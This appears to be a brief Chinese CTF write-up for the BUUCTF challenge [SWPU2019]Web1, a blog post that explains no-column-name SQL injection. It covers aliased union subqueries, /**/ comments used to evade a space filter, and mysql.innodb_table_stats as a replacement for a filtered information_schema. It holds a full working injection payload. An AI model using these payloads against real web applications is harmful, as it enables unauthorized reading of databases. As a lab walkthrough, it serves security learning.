BUU-[SWPU2019]Web1

无列名查询

(select/**/group_concat(a)/**/from/**/(select/**/1,2/**/as/**/a,3/**/as/**/b/**/union/**/select/**/*/**/from/**/users)x)
=>解析

union查询的特点:
1. 要求两个查询的列数必须相同
2. 查询会生成一张临时表,其中表的字段名由第一个查询决定

(select/**/1,2/**/as/**/a,3/**/as/**/b/**/union/**/select/**/*/**/from/**/users)x
```mysql
SELECT 1,2 as a,3 as b
Output:

70 ms
+---+---+---+
| 1 | a | b |
+---+---+---+
| 1 | 2 | 3 |
+---+---+---+
#可以观察到1没有设置列名, 所以1是数据也是列名

然后unionusers表,结果形如这样:

Output:

70 ms
+-------+-------+-------+
| 1     | a     | b     |
+-------+-------+-------+
| 1     | 2     | 3     |
| data1 | data2 | data3 |
+-------+-------+-------+

这个时候users表的字段名就是我们规定的1,a,b了
最后的一个x表示这次union子查询生成的临时表的名字叫做x
然后大查询select group_concat(a)表示查询字段a的值, 用逗号连接起来
这就是无列名查询



## 第二个知识点
发现information_schema被过滤了,可以用mysql.innodb_table_stats
mysql.innodb_table_stats只能用于查询表名,不能查表的列名

## 猜测后端
poster_name unique
select 1,poster_name,content,......... where poster_name=''

posted on 2026-01-30 22:03  misaki%20mei  阅读(2)  评论(0)    收藏  举报

导航